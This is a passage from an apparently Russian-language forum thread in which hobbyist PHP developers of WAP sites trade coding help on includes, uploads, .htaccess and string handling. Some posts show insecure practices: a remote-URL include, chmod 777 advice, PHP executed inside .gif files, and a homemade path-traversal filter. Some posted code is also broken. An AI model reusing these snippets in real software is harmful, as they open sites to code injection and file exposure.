for($i=$page; $i<$next; $i++){
echo $file[$i].'<br>';
}

только навигацию лень писать).gif примеров много и так.

2684. leshara (01.01.10 / 22:59)
2710. ramzes, спс.
Ваш положительный голос за пользователя ramzes успешно оставлен!
В данный момент его авторитет: 25

2685. -NoX- (07.01.10 / 00:25)
дисплей ругаеться на эту строку
list($online) = mysql_fetch_row(mysql_query("SELECT COUNT(*) FROM inet_online"));
она походу неправильно прописана так как я считаю что должен присутствовать if , но знаний нехватает, помогите пожалуста разобраться

2686. ArchangeL (07.01.10 / 02:37)
Всем привет,ребят,как сделать случайный вывод текста? Например,в игре,когда пользователь проигрывает,например в 21,очко,выводиться 'Ты пробирал','я опять выиграл'-и так далее,и так же при выигрыше только уже 'красава,ты выиграл','ты опять выиграл'-как это сделать?за ранее спасибо

2687. sanzstez (07.01.10 / 02:46)
2713. mr.ArchangeL, сделать массив из слов и рандомить его...комп потушил а так код бы скинул...

2688. Aligan (07.01.10 / 02:58)
2713,

<?php
$array = array("Ты выиграл", "Ты меня сделал", "Поздравляем, вы победили");
$a = array_rand($array,1);
echo $array[$a];
?>


2689. ArchangeL (07.01.10 / 04:34)
2715. Aligan, спасибо большое,плюс поставил

2690. Panduz (08.01.10 / 10:00)
Тот же вопрос ребят что и у архангела. Скачал скрипт вантуза случайный вывод фразы,распаковал и пишу у себя на главной <? include "http://bubabu.ru/fraza"; ?> это но фраза не выводится,в чем проблема подскажите?

2691. zefir (08.01.10 / 10:31)
2717,

<?
readfile('http://bubabu.ru/fraza');
?>


2692. Panduz (08.01.10 / 10:57)
2718 нет,результат тот же,ничего не выводит.

2693. lugaro (08.01.10 / 11:54)
<? include "fraza"; ?>

2694. Удаленный (08.01.10 / 13:02)
2712. NoX aka Doctor S xD, пиши так: $online = mysql_fetch_row(mysql_query("SELECT COUNT(*) FROM inet_online"));

2695. Panduz (08.01.10 / 13:23)
2720 тож не инклудится..там вапич стоит,мож из за самого движка такая проблемма. Уже все варианты испробовал.

2696. Удаленный (08.01.10 / 13:45)
2722. О-Бендеръ, fraza - это если я правильно понял папка со скриптом. Поробуй include("fraza/index.php"); это если ты инклудишь в странице, которая лежит в корне сайта.

2697. Panduz (08.01.10 / 16:45)
2723 Тож нулевой результат. Вот код страницы куда инклудю под 'Общением' строка. Вроде все по феншую тоесть по ридми сделал но нифига не пашет! Помогите пажалста!

2698. Panduz (08.01.10 / 16:53)
{VERH}
<!-- BEGIN announcement -->
<div class="announcement"><br/><br/>
<b>Объявление:</b><br/>
{announcement.ANNOUNCEMENT}</div>
<!-- END announcement --><br/><br/>
{BAN_INFO}
<div class="tab"><span class="cattitle">Ваше меню</span></div>
<div class="hov">
<img src="./images/da.gif" alt="img" /> <a href="news.php">Новости</a><br/>
{ADMIN_LINK} <br/>
<!-- BEGIN switch_user_logged_out -->
<img src="./images/da.gif" alt="img"/> <a href="{U_LOGIN_LOGOUT}">{L_LOGIN_LOGOUT}</a><br/>
<img src="./images/da.gif" alt="img"/> <a href="{U_REGISTER}">{L_REGISTER}</a><br/>
<!-- END switch_user_logged_out -->
<!-- BEGIN switch_user_logged_in -->
<tr>
<img src="./images/da.gif" alt="img"/> <a href="{U_PROFILE}">Личный кабинет</a><br/>
<img src="./images/da.gif" alt="img" /> <a href="{U_PRIVATEMSGS}">{PRIVATE_MESSAGE_INFO}</a><br/>
</span> <img src="./images/da.gif" alt="img"/> <a href="{U_LOGIN_LOGOUT}">Выход</a>
</tr>
<!-- END switch_user_logged_in -->
<div class="tab"><span class="cattitle">Общение</span></div>
<? include "http://bubabu.ru/fraza"; ?>
<div class="hov">
<img src="./images/da.gif" alt="img"/> <a href="./forum/index.php?c=1">{L_FORUM}</a> ({TOTALTHEME}/{MASAG})<a href="http://bubabu.ru/search.php?search_id=newposts">»</a><br/>

2699. Удаленный (08.01.10 / 18:58)
2725. О-Бендеръ, я так понял у тебя движок шаблонный. Тогда так как ты делаешь конечно работать не будет. Я не знаю как тебе объяснить, что нужно сделать, так как я вижу у тебя знаний php нету...

2700. ramzes (08.01.10 / 19:09)
{ include"fraza.php"; }
незнаю синтаксиса шаблонизатора, но вероятнее всего так. Или примерно так

2701. Panduz (08.01.10 / 19:19)
727 да двиг вапи4,пых не знаю можно сказать. fraza.php такова файла там нет,есть папка fraza и в ней два файла index.php и файл с самими фразами db.dat

2702. mides (08.01.10 / 19:47)
там нужно прописать в индекс или форум пхп этот инклуд, прировнять к, например, FRAZA и вставить в tpl шаблоне {FRAZA}

2703. Panduz (08.01.10 / 19:48)
хееелп!

2704. ramzes (08.01.10 / 20:25)
#2728 ну значит { include"fraza/index.php"; } попробуй

2705. Panduz (08.01.10 / 20:43)
mides (Сегодня / 19:47)
там нужно прописать в индекс или форум пхп этот инклуд, прировнять к, например, FRAZA и вставить в tpl шаблоне {FRAZA}

Можно более подробней,каким оброзом его прописать?

2706. Panduz (08.01.10 / 20:46)
731 так тож пробовал,во всевозможных вариантах,только выводит на главную то же что и пишу..

2707. Удаленный (09.01.10 / 12:50)
2731. ramzes, в *.tpl код не вставляют, только шаблоны страниц, а {NAME} это что то типа константы, значение которой задается в коде странице.

2708. Aligan (09.01.10 / 16:47)
Шаблонизатор случаем не Smarty?

2709. ramzes (09.01.10 / 17:38)
Если он говорит что двиг вапич то шаблонизатор из пхпББ, незнаю какой там.
#2734 это смотря какой шаблонизатор и что он может.

2710. Aligan (09.01.10 / 17:45)
в phpBB насколько я помню Smarty. Значит проблема скорее всего в правах доступа. Если дело происходит на хостинге, значит следует для папки, куда компилируются шаблоны поставить права для записи, иначе будет пустой экран. Дирректория куда компилируются шаблоны задается в свойстве $smarty->compile_dir.
Что касается инклуда, то в smarty инклуд в шаблонах такой
  {include file="$tpl_name.tpl"}


2711. wexer (11.01.10 / 00:52)
кто-нибудь знает что означает: php_flag engine off ??????????

2712. ramzes (11.01.10 / 00:53)
Не исполнять код

2713. sanzstez (11.01.10 / 01:03)
2738. wexer, Отключает выполнение php в папке гле валяецо htaccess

2714. wexer (11.01.10 / 01:16)
2740. sanzstez,в папке htaccess

2715. HitLow (11.01.10 / 01:37)
В папке где ЛЕЖИТ файл .htaccess ).gif

2716. wexer (11.01.10 / 01:42)
другой htaccess не тот где обычно там страницы ошибок а другой в другой папке

2717. wexer (11.01.10 / 02:46)
Я переделывал скрипт обменника решил протестировать, как не попытаюсь загрузить что-нибудь все пишет что короче не тот тип файла хотя все правильно, хотьот чего отталкиваться-то подскажите

2718. xass (11.01.10 / 03:07)
Ты убери ету проверку на тип файла и попробуй загрузить файл
если все ок. тогда ошибка сам знаеш где )

2719. wexer (11.01.10 / 03:26)
а в бд все как есть оставить?

2720. xass (11.01.10 / 03:29)
ну я незнаю. я не телепат) незнаю что ты там переделал..
лутше попробовал и потом вапросы задовал ).gif

2721. wexer (11.01.10 / 03:34)
ну и прикол теперь пишет неизвестная ошибка

2722. wexer (11.01.10 / 03:53)
может права доступа влияют

2723. Aligan (11.01.10 / 04:05)
wexer, ты сам скрипт напишу сюда, шансов больше что тебе помогут

2724. xass (11.01.10 / 04:05)
ну постав права 777 там где файл должен закачатся

2725. wexer (11.01.10 / 04:13)
я ставил и так и так и ничего

2726. wexer (11.01.10 / 04:14)
посмотрите код может что найдете>>>>>>

2727. Aligan (11.01.10 / 04:16)
где посмотреть

2728. wexer (11.01.10 / 04:17)
сейчас....

2729. wexer (11.01.10 / 04:21)
блин как тут код то оформить

2730. Aligan (11.01.10 / 04:23)
http://visavi.net/pages/tegi.php?

2731. wexer (11.01.10 / 04:27)
лучше ссылку на txt дам

2732. wexer (11.01.10 / 04:31)
http://rosnet.wen.ru/gms.html

2733. wexer (11.01.10 / 04:32)
вот он^

2734. wexer (11.01.10 / 04:35)
либо inc_upload.php

2735. Aligan (11.01.10 / 04:42)
Без описания класса uploader тут не ясно как конкретно работают его методы.
Попробуй в начале этого скрипта прописать эту строчку, соостветсвенно заменив на свой путь

chmod($_SERVER['DOCUMENT_ROOT']."/путь_ккаталогу_куда_загружается файла",0755);


2736. wexer (11.01.10 / 04:42)
попробую

2737. Aligan (11.01.10 / 04:49)
если не работает, выложи скрипт fileupload-class.php (заархивируй) и напиши какую ошибку возвращает скрипт

2738. wexer (11.01.10 / 04:50)
пишет опять В этой категорий к закачке разрешены только файлы форматов....

2739. Aligan (11.01.10 / 04:52)
а какие форматы перечислены? С этими форматами грузит?

2740. wexer (11.01.10 / 04:58)
конечно грузит, все в ту папку в которой он и должен находиться, но в итоге пишет "В этой категорий к закачке разрешены только файлы форматов MMF, MID, AMR, MP3, WAV, AAC, SEQ, VOX, DXM, IMY, EMY, PMD, RNG." хотя грузил mp3

2741. wexer (11.01.10 / 05:00)
и так что хочешь не изображения, ни чего не грузит все тоже пишет только расширения файлов меняет

2742. Aligan (11.01.10 / 05:02)
так скрипт загружает файлы, но просто выдает некоректное сообщение?

2743. wexer (11.01.10 / 05:05)
даже не загружает

2744. Aligan (11.01.10 / 05:05)
выложи файл fileupload-class.php

2745. wexer (11.01.10 / 05:13)
http://rosnet.wen.ru/ileupload-class.txt

2746. wexer (11.01.10 / 05:14)
http://rosnet.wen.ru/fileupload-class.txt

2747. wexer (11.01.10 / 05:15)
^вот правильный

2748. Aligan (11.01.10 / 05:32)
Вот этот скрипт http://rosnet.wen.ru/gms.html замени на этот и отпишись

2749. wexer (11.01.10 / 05:36)
на что заменить

2750. Aligan (11.01.10 / 05:36)
http://atlantbel.ru/gms.txt

2751. wexer (11.01.10 / 05:54)
вот что выдал Warning: fopen(files/1/2/CS-Source.mp3) [function.fopen]: failed to open stream: No such file or directory: in /home/ruby/public_html/upload/includes/inc_mp3_class.php on line 1041
Но файл он загрузил и выдал не рабочую ссылку, если есть желание посмотри
http://rosnet.wen.ru/inc_mp3_class.txt
я эту строчку закоментировал: "!!!!!!!!!!!!!"

2752. Aligan (11.01.10 / 06:02)
щас напишу

2753. Aligan (11.01.10 / 06:12)
эту строчку
if (!($f = fopen($file, 'rb')))//вот здесь ошибка!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [code]
замени на [code]
$file = $_SERVER['DOCUMENT_ROOT']."/".$file;
if (!($f = fopen($file, 'rb')))


2754. wexer (11.01.10 / 08:23)
да эта строчка, ошибку выдает

2755. Aligan (11.01.10 / 11:59)
какую

2756. wexer (11.01.10 / 12:25)
выдает ошибку:
Warning: fopen(files/1/2/CS-Source.mp3) [function.fopen]: failed to open stream: No such file or directory: in /home/ruby/public_html/upload/includes/inc_mp3_class.php on line 1041

2757. wexer (11.01.10 / 12:27)
как я понял PHP не нашел директорию для сохранения или еще для чего, но у меня все указано я не понимаю в чем еще дело может быть

2758. Aligan (11.01.10 / 12:41)
тогда опять же перед этим кодом напиши
exit("$file");
и напиши тут какой путь вывел скрипт и заодно сверь с директорией, куда помещается файл

2759. wexer (11.01.10 / 12:47)
путь должен быть указан только до одной папки, а файл загрузишь его не только не увидишь но и путь указывает там еще на пару папок вниз, я так понял папки остальные создаются автоматически, другово в настройках скрипта быть не должно.

2760. wexer (11.01.10 / 12:48)
сейчас попробую

2761. wexer (11.01.10 / 12:58)
все одно

2762. Aligan (11.01.10 / 13:02)
?? Напиши сюда то, что вывед скрипт

2763. wexer (11.01.10 / 13:07)
в смысле какого рода ошибка?

2764. Aligan (11.01.10 / 13:13)
Ошибка в том, что функция fopen возращает ошибку с указангием на то, что адррес в переменной $file, ошибочный. Код exit("$file"); просто выведет значения переменной $file для того какой путь указывается в этой переменной и сравнить его с реальным. Ты мне так и не написал результат, который выводит код, который я тебе написал

2765. wexer (11.01.10 / 13:19)
ну я вводил его

2766. wexer (11.01.10 / 13:20)
а понял.........

2767. wexer (11.01.10 / 13:29)
теперь вообще после загрузки страницу не выводит, что-то не то

2768. wexer (11.01.10 / 13:30)
надоел мне этот скрипт я лучше програмистам с хостинга бабок кину, ни так ни так.........

2769. Aligan (11.01.10 / 14:07)
У тебя в $file вообще ничего не передается.

2770. HitLow (11.01.10 / 15:20)
ТАм вродеб $file используеться чуть выше...Н там не пишет ошибку, а тут пишет.

2771. Aligan (11.01.10 / 15:39)
Выше это где?

2772. Bashka (11.01.10 / 23:36)
Если не ошибаюсь, пых говорит, что не может открыть некий файл, причины вижу две:
1. Файла нет в директории
2. Пых не может прочитать файл в формате МП3

2773. Absurd (15.01.10 / 23:13)
Скажите в чем различие между $_SERVER ['HTTP_X_OPERAMINI_PHONE_UA'] и $_SER VER ['HTTP_USER_AGENT'] ?

2774. Aligan (15.01.10 / 23:35)
Что мешает проверить самому? Вероятно OperaMini передает серверу соответсвующий заголовок $_SERVER['HTTP_X_OPERAMINI_PHONE_UA'] в котором передается версия и модель телефона. В то время как $_SERVER ['HTTP_USER_AGENT'] передаст только версию браузера OperaMini

2775. iNeeXT (16.01.10 / 00:07)
Kaк cдeлaть зaxoд нa cтpaницy c дpyгoгo aйпи?

2776. Aligan (16.01.10 / 00:16)
Средставми php - никак.

2777. iNeeXT (16.01.10 / 00:18)
жaль.....

2778. Aligan (16.01.10 / 01:07)
На сервере, конечно же, можно подделать REMOTE_ADDR, но на клиенте, разве что специализированным ПО, типа AdMuncher

2779. ramzes (16.01.10 / 01:13)
Можно же через прокси, будет ип сервера а не опсоса, (даже скрипт вроде тут в загрузе раньше был) или я не верно понял вопрос?

2780. iNeeXT (16.01.10 / 01:13)
пoнятнo.

2781. Aligan (16.01.10 / 01:48)
Прокси свои ip-адреса подставляет, а автор вопроса, видимо, хочет свою базу ip-адресов подкурить.

2782. ramzes (16.01.10 / 04:31)
Тогда ни как. Если это не ип'ы прокси серверов, то пхп не поможет).gif на сколько я знаю. Хотя.. Как то видел 777.777.777 чел утверждал что через скрипт делал, правда или нет не знаю.

2783. Удаленный (16.01.10 / 05:16)
ip меняют через проги на некотрых ОС,в linux это можно сменить в строке забыл путь,я у шифта кстати видел ip c 666,через скрипт тоже сменить можно

2784. 7ion (17.01.10 / 03:51)
Моя гостевушка использует в качестве базы данных файл text.txt, но я хочу, чтобы при переходе по ссылке на него выдавало 403. Если поставить даже 755 - php жалуется на отсутствие прав на запись. Стоит 777, и все могут видеть файл.
Как закрыть его от чужих глаз? В дебрях .htascess не разбираюсь, но слышал, что можно поколдовать с помощью его. Или можно подобрать какие-то права, которые разрешат скрипту его читать/писать, а юзеру нет?

2785. 7ion (17.01.10 / 04:21)
И еще - как убивать в сообщении лишние пересносы и пробелы? trim сносит пробелы только по краям.

2786. Удаленный (17.01.10 / 04:46)
2811,в .htacсess

<Files "*.txt">
deny from all
</Files>

пропишешь в нужном каталоге где хранится файл.

2787. 7ion (17.01.10 / 05:23)
2813. User, спасибо большое!

2788. Fuelen (17.01.10 / 08:47)
1812, $text = preg_replace('#(\s){2,}#', '$1', $text);

2789. 7ion (17.01.10 / 18:42)
2815. Fuelen, спасибо! =)
А можно поподробнее - что и как оно делает, а то я в регулярках дуб дубом ).gif
И оно trim тоже заменяет?

2790. Svuaznoy (18.01.10 / 04:25)
Как заставить работать грабер spaces.ru через прокси сервер? http://wap-sex.org/sp/spaces_new_2.zip

2791. ramzes (18.01.10 / 06:55)
<?php
//--- Зашита от перехвата сессии ---//
$chip = explode('.',$ip);
$check_my_ip = $chip[0].$chip[1];
if(!isset($_SESSION['checked_ip']) OR !isset($_SESSION['checked_brow'])){
$_SESSION['checked_ip'] = $check_my_ip;
$_SESSION['checked_brow'] = $brow;
}else{
if(isset($_SESSION['login']) AND isset($_SESSION['pass'])){
if($_SESSION['checked_ip']!=$check_my_ip OR $_SESSION['checked_brow']!=$brow){
unset($_SESSION['login']);
unset($_SESSION['pass']);
}}

блин, не могу найти где ошибку сделал?
Тупой хост не хочет ошибки на экран выводить(.gif

2792. ramzes (18.01.10 / 07:08)
Все пардон, нашел уже).gif на другом хосте проверил

2793. seif (30.01.10 / 03:12)
2819. ramzes, на будущее. если скрипт не работает, и ошибку не выводит. напиши верху страницы error_reporting(E_ALL);
при отладке скрипта хорошо помогает

2794. ramzes (30.01.10 / 04:10)
Читай внимательнее «...тупой хост не хочет ошибку выводить... ...на другом проверил...» думаю ясно что показ ошибок включен).gif уж не на столько темный я

2795. AxqpxA (30.01.10 / 04:14)
Этот хостинг часом не sweb?

2796. ramzes (30.01.10 / 04:53)
Не, это буржуйский).gif там принудительно выключен показ ошибок..

2797. seif (30.01.10 / 18:54)
ramzes (Сегодня / 04:53)
Читай внимательнее «...тупой хост не хочет ошибку выводить... ...на другом проверил...» думаю ясно что показ ошибок включен ).gif уж не на столько темный я
(Nokia1680c-2/2.0, 67.228.166.108).

в том та вся и штука. как ты говориш что хостинг отключил показ ошибок, но в своём скрипте ты на 100% показ ошибок включит можеш. подробности здесь http://www.phpfaq.ru/debug

2798. ramzes (30.01.10 / 20:23)
Я быстрее на другом хосте запущу и гляну чем буду воевать еще и с ограничениями хоста. За сим предлогаю закончить оффтоп).gif

2799. TheFaith (31.01.10 / 11:38)
Вопрос к хорошим кодерам: правда ли что лучше в коде делать вот так например

echo "блабла
блабла2
блабла3
блабла4
блабла5";

нежели вот так??

echo "блабла";
echo "блабла2";
echo "блабла3";
echo "блабла4";

вопрос 2: стоит ли делать запрос, НЕ mysql_qery(блаблабла)
а вот так mysql_fetch_array(mysql_query(блаблабла)) ??
вопрос3: если я буду удалять встречавшиеся в скриптах @(собачки) в запросах ^^ как выше ничего страшного не произойдет? меня интересуют эти 3 вопроса)

2800. TheFaith (31.01.10 / 11:39)
Вопрос к хорошим кодерам: правда ли что лучше в коде делать вот так например

echo "блабла
блабла2
блабла3
блабла4
блабла5";

нежели вот так??

echo "блабла";
echo "блабла2";
echo "блабла3";
echo "блабла4";

вопрос 2: стоит ли делать запрос, НЕ mysql_qery(блаблабла)
а вот так mysql_fetch_array(mysql_query(блаблабла)) ??
вопрос3: если я буду удалять встречавшиеся в скриптах @(собачки) в запросах ^^ как выше ничего страшного не произойдет? меня интересуют эти 3 вопроса)

2801. Jeka127 (31.01.10 / 12:41)
2826. TheFaith вопрос3: если я буду удалять встречавшиеся в скриптах @(собачки) в запросах ^^ как выше ничего страшного не произойдет?
@ - подавление вывода ошибок

2802. Jeka127 (31.01.10 / 13:02)
TheFaith 1. нет разницы! Знаю что только print работает дольше.
Вообще если ты не будешь выводить через echo 15-100 кб то виснуть не будет.
Кароче вычитал, что на скорость выполнения echo влияет скорость интернета. Это проблема апача, там что-то тормозит процес на раных машинах на разном обЪёме..гдето 11кб , а где-то 18 кб и при этом было сказано, что не имеет значение в один echo был вывод или в 5 всё равно грузить начнёт. Хз

2803. Jeka127 (31.01.10 / 13:04)
Получаем интересный результат, скрипт выводит для блока в 11 Киб:
*****
Display Length: 11 KiB.
Reach end file: 0.07 ms.
а для блока в 12 Киб:
*****
Display Length: 12 KiB.
Reach end file: 348.92 ms.

2804. Jeka127 (31.01.10 / 13:06)
вот статья по этому поводу
Функция echo в PHP может выполняться более 1 секунды

2805. TheFaith (31.01.10 / 13:19)
хм интересно. прочту, еще такой вопрос, какая разница между rand и mt_rand ?

2806. Удаленный (31.01.10 / 13:24)
mt_rand более непредсказуемо возвращает число, чем rand

2807. TheFaith (31.01.10 / 13:48)
что значит непредсказуемо? более разбрасывает числа? например mt_rand (0000,9999);

2808. z-kzn-z (31.01.10 / 14:11)
вот статья, там есть сравнение mt_rand() и rand()
Магия случайных чисел (часть 2)

2809. ramzes (31.01.10 / 15:32)
@ несколько замедляют скрипт, а ошибки надо не прятать а исправлять).gif

2810. Jeka127 (31.01.10 / 20:39)
2835. z-kzn-z большое спасибо за статью).gif

2811. TheFaith (01.02.10 / 01:58)
Ок спс, рамзес, я знаю что они прячут ошибки, я спрашивал ниче страшного не будет еси я поубираю собачки? ибо я не пойму какие именно ошибки оно прячет.
и такой вопрос, имеет ли значение как оформить переменную, например:
echo"меня звовут $name";
или
echo"меня зовут ".$name."";
есть разница или пох?

2812. ramzes (01.02.10 / 03:00)
Есть небольшая разница "тут идет поиск переменных в тексте" 'тут только текст' 'так'.$было.' бы лучше.
А ошибки прячет те которые возвращает функция перед которой @ стоит.
file('dir') (error no such file 'dir')
попытка открыть несуществующий файл вернеет примерно такое, если стоит @ в начале строки то ошибку не вернет.

2813. Titov (05.02.10 / 18:35)
Вопрос:
Есть картинка с разрешением 50х60 очень плохого качества, видно пиксели, прям огромные квадраты, можно её скажем увеличить под средством php и потом снова уменьшить до нужного размера со сглаживанием, дабы убрать видимость пикселей. Размытость изображения не имеет значения.

2814. Удаленный (06.02.10 / 06:58)
2840,
Функция изменяет размер изображения,
<?php
%40return boolean */
function img_resize($src, $out, $width, $height, $color = 0xFFFFFF, $quality = 100)
{
// Если файл не существует
if (!file_exists($src)) {
return false;
}
$size = getimagesize($src);
$format = strtolower(substr($size['mime'], strpos($size['mime'], '/') + 1));
$picfunc = 'imagecreatefrom'.$format;
$gor = $width / $size[0];
// Вертикальное соотношение
$ver = $height / $size[1];
// Если не задана высота, вычислить изходя из ширины, пропорционально
if ($height == 0) {
$ver = $gor;
$height = $ver * $size[1];
}
// Так же если не задана ширина
elseif ($width == 0) {
$gor = $ver;
$width = $gor * $size[0];}
// Формируем размер изображения
$ratio = min($gor, $ver);
// Нужно ли пропорциональное преобразование
if ($gor == $ratio)
$use_gor = true;
else
$use_gor = false
$new_width = $use_gor ? $width : floor($size[0] * $ratio);
$new_height = !$use_gor ? $height : floor($size[1] * $ratio);
$new_left = $use_gor ? 0 : floor(($width - $new_width) / 2);
$new_top = !$use_gor ? 0 : floor(($height - $new_height) / 2);
$picsrc = $picfunc($src);
// Создание изображения в памяти
$picout = imagecreatetruecolor($width, $height);
// Заполнение цветом
imagefill($picout, 0, 0, $color);
// Нанесение старого на новое
imagecopyresampled($picout, $picsrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]);
// Создание файла изображения
imagejpeg($picout, $out, $quality);
// Очистка памяти
imagedestroy($picsrc);
imagedestroy($picout);
return true;
}
?>


2815. wap5 (06.02.10 / 17:26)
Что прописать в .htaccess чтоб телефон грузил формат .url черканите плиз.

2816. Titov (06.02.10 / 17:48)
2842
AddType text/x-bookmark .url

2817. wap5 (06.02.10 / 19:01)
Титов спасибо! Kool..

2818. 888dimon (17.02.10 / 15:12)
Я почти ноль в пхп. Поэтому прошу помочь.
Нужно вставить ссылку : <a href="http://site.ru">Текст</a>

вместо !!!!!!!!!!!!!!!!
Вот часть кода:
 <?php
if ($the =='wap') {
echo "<div class=rekl><img src='/img/reklama.gif' alt='*' /><br/>";
!!!!!!!!!!!!!!!!
echo "
</div>
<div class=rh>
<center>
$copyright
<center>Версия сайта: xhtml&nbsp;|&nbsp;<a href=\"../version.php?go=web\">WEB</a></center>
</center>
</div>
";
echo "
</body>
</html>


2819. Удаленный (17.02.10 / 21:38)
2845. 888dimon, echo '<a href="URL">NAME</a>';

2820. mides (18.02.10 / 11:57)
вот код, который отображает пример
(Opera/9.63 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1, 127.0.0.1)

$brow=isset($_SERVER['HTTP_USER_AGENT']) ? htmlentities($_SERVER['HTTP_USER_AGENT'],ENT_QUOTES) : 'Not_detected';

что заменить, чтобы отображался лиш браузер и его айпи
вот так (Opera/9.63, 127.0.0.1)

2821. Удаленный (18.02.10 / 12:07)
$brow=isset($_SERVER['HTTP_USER_AGENT']) ? strtok(htmlentities($_SERVER['HTTP_USER_AGENT'],ENT_QUOTES), " ") : 'Not_detected';

2822. mides (18.02.10 / 12:07)
2848. Vetas, пишет (, 127.0.0.1)

2823. Удаленный (18.02.10 / 12:12)
2849. mides, я отредактировал свой пост, перепиши так как щас там #2848

2824. mides (18.02.10 / 12:13)
2850. Vetas, работает, спс ).gif

2825. Удаленный (18.02.10 / 12:18)
<повтор>

2826. xass (21.02.10 / 19:36)
($row['size']/1024)

выводит 184.3388671875 Kb
нужно чтобы выбодил 184 ).gif

2827. Exwap (21.02.10 / 20:50)
round();

2828. blud (22.02.10 / 13:20)
еще есть вопрос как можно сделать бота когда ктото мат сказал
чтобы бот делал придупреждение например СИСТЕМА VASY ЕЩЕ СЛОВО МАТОМ И С ВАС БУДУТ СНИМАТСЯ ПОСТЫ

2829. Roman4359 (22.02.10 / 22:59)
Здравствуйте, в меня такая проблемка с кривыми руками.
на сайте "inlife.net.ru" папке "eh" лежит три файла:
.htaccess:

DirectoryIndex smile.gif
AddType application/x-httpd-php .gif .php

s.gif(ссылка)): обычный рисунок на 301 байт(без кодов).
smile.gif(ссылка):

<?php
$n = rand(1, 1000);
$file = fopen ("r.txt", "w+");
fwrite ($file, $n);
fclose ($file);
header("Content-type: image/gif");
echo fread(fopen("s.gif","rb"),65000);
?>

И так, мне не нравится что когда я перехожу(с оперы) на http://inlife.net.ru/eh/smile.gif, пхп код не работает, картинки не видно и файл "r.txt"(http://inlife.net.ru/eh/r.txt) не меняется.
Но когда перехожу(с оперы) на http://inlife.net.ru/eh/, пхп код работает, и картинка показывается и файл "r.txt"(http://inlife.net.ru/eh/r.txt) как нужно меняется.
Жду помощи, заранее спасибо!
На всё эти файлы и папку права 777!

2830. Aligan (22.02.10 / 23:19)
#2856, header('Content-Disposition: attachment;filename="s.gif"');

2831. Roman4359 (23.02.10 / 23:47)
2857. Aligan, Спасибо. но всё равно не работает... плюс мне не нужно attachment, хотя и с ним не работает. / может хост виноват ?

2832. Roman4359 (25.02.10 / 16:07)
кто то подскажет? . . .

2833. Makskud (26.02.10 / 10:29)
Привет у меня такая проблема. Менял названия в файле main.php и сначала все было норм а потом выбило ошибку: Parse error: syntax error,
unexpected $end in /usr/home/
bufer/htdocs/manager2/
main.php on line 709. Что делать?

2834. Aligan (26.02.10 / 11:44)
Смотреть 709 строчку кода файла main.php.

2835. ramzes (26.02.10 / 14:20)
#61 там в файле всего 709 строк).gif
#60 нехватает скобки } где то в коде

2836. Wakko (26.02.10 / 21:18)
подскажите код php (функцию)
Имеем картинку gif в которой 50 цветов
Как добавить этой кратинке всю палитру цветов?

2837. orel (27.02.10 / 11:08)
2860. Makskud, Эта ошибка о том что где то не закрыта скобка

2838. orel (27.02.10 / 11:21)
2853. xass, round($row['size']/1024,2)

2839. Удаленный (28.02.10 / 09:33)
2865. orel, суфлер что ли? =)

2840. Jeka127 (28.02.10 / 09:41)
подскажите плиз, как можно вытащить из пути файла предыдущую папку?
<?php
$file = "temp/img//////add-chat.png";
?>

как получить
<?php
$file = "temp/img";
?>


2841. Jeka127 (28.02.10 / 09:57)
Ошибочкка!!! Нужно получить
<?php
$file = "temp";
?>


2842. Jeka127 (28.02.10 / 11:01)
разобрался).gif
<?php
$dir = "temp/img/9999/5555/////6666/add-chat.png";
$dir = preg_replace ("/([\/{*}]+)/is", '/', $dir);
$last_dir = preg_replace ("/(.*)\/.*\/.*/is", '$1', $dir);
echo 'Род. каталог: <b>'.$last_dir.'</b>';
//выведет temp/img/9999/5555
?>

P.S. Спасибо .::lugaro::.

2843. megabit (28.02.10 / 11:58)
^ o_O http://php.net/explode .... print $array[0]; // 'temp'

2844. Jeka127 (28.02.10 / 12:12)
2870. МегабиТ, ^ o_O читай внимательней! Твой вариант не катит ни куда!

2845. megabit (28.02.10 / 16:40)
MaNGOS cms (Сегодня / 12:12)
2870. МегабиТ, ^ o_O читай внимательней! Твой вариант не катит ни куда!

почему это не катит? что просил то и получил

MaNGOS cms
Ошибочкка!!! Нужно получить
<?php
$file = "temp";
?>


2846. Aligan (28.02.10 / 16:47)
MaNGOS cms , что за странный путь к файлу
$file = "temp/img//////add-chat.png";
?
К чему столько повторяющих слешей?

2847. painter (28.02.10 / 17:25)

function strip_double_slashes($str){
while(strpos($str,'//')!==false){
$str=str_replace('//','/',$str);
};
return $str;
};

Самы простой пример, если нет хороших знаний регулярок (как у меня ).gif )

2848. Jeka127 (28.02.10 / 18:23)
Мне это нужно для фильтрации переменной $_GET['dir'] полученную от юзера. Она должна быть правильного формата, т.е. не должна быть такой $file = "temp/img//////add-chat.png"; для этого нужна регулярка которая удалит лишние слеши, не пропустит запросы типа /,./,../,.,.., вот для чего это мне нужну. И рпи этом как вы поняли путь(адрес) динамический.

2849. Jeka127 (28.02.10 / 18:47)
<?php
function updir($dir) {
return preg_replace ("/(.*)\/.*/", '$1', $dir);
}
function del_slash($dir){
$dir = preg_replace ("/^\/+$/", 'temp', $dir);
$dir = preg_replace ("/([\/{*}]+)/is", '/', $dir);
return $dir;
}
$dir = empty($_GET['d']) ? 'temp' : del_slash($_GET['d']);
if (preg_match("/\./", $dir))
{
exit('Хакерам тут не место!');
}
else
{
...
}
if($dir != "temp")
{
echo '<a href="?d='.updir($dir).'">Назад</a>';
}
?>

Что скажите?

2850. ramzes (28.02.10 / 19:30)
if(is_dir($dir)){
логика рулит

2851. Jeka127 (28.02.10 / 20:31)
2877. ramzes, ну я же не могу весь скрипт вставить?
Я просто показал как я сделал фильрацию и что вообще хотел сделать. Для всего остального у меня есть специальные для этого функции.

2852. sanzstez (01.03.10 / 03:27)
Ну зачем изобретать велосипед? Php.su в помощь

2853. ramzes (01.03.10 / 03:48)
#78 у тебя изначально неверный подход.
Проверка на существование папки сразу пресечет все эти слеши, и точку в имени папок не разрешай, запретишь подьем по папкам.
Вот считай тебе и защита. Приложи к этому регулярку и спи спокойно.
if(preg_match('|^[a-z0-9\-_\/]+$|i',$dir) AND is_dir($dir)){
а вот тебе по человечески родительский каталог. Два варианта.
$root_dir = strtok($dir,'/');
echo $root_dir;
preg_match('|([a-z0-9\-_]+)|i',$dir,$root_dir);
echo $root_dir[0];
пробуй).gif

2854. Kadet8 (01.03.10 / 06:49)
Как в рнр сделать фон черным?а текст зеленым?а то пишу,а он мне пишет ошибка.

2855. Kolyan56 (01.03.10 / 09:40)
